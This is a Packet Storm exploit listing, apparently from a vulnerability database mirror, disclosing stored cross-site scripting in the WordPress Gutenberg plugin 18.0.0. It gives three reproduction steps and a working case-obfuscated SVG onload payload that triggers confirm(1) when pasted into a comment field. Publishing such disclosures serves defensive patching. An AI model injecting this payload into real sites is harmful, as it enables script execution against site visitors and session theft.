Lucene search

K
packetstormTmrswrrPACKETSTORM:177865
HistoryApr 01, 2024 - 12:00 a.m.

WordPress Gutenberg 18.0.0 Cross Site Scripting

2024-04-0100:00:00
tmrswrr
packetstormsecurity.com
66
wordpress gutenberg
stored xss
webapps
vulnerability
security advisory

7.4 High

AI Score

Confidence

Low

`## Exploit Title: Wordpress Gutenberg Plugin Version 18.0.0 Stored XSS  
### Date: 2024-3-29  
### Exploit Author: tmrswrr  
### Category: Webapps  
### Vendor Homepage: https://wordpress.org/plugins/gutenberg/  
### Version 18.0.0  
  
  
1 ) Go to Gutenberg Plugin edit page : https://127.0.0.1/WordPress/2024/03/29/welcome-to-the-gutenberg-editor/#comment-4  
2 ) Write Leave a Reply place your payload :  
<sVg/onLy=1 onLoaD=confirm(1)//  
3 ) After save will be see alert button  
`

7.4 High

AI Score

Confidence

Low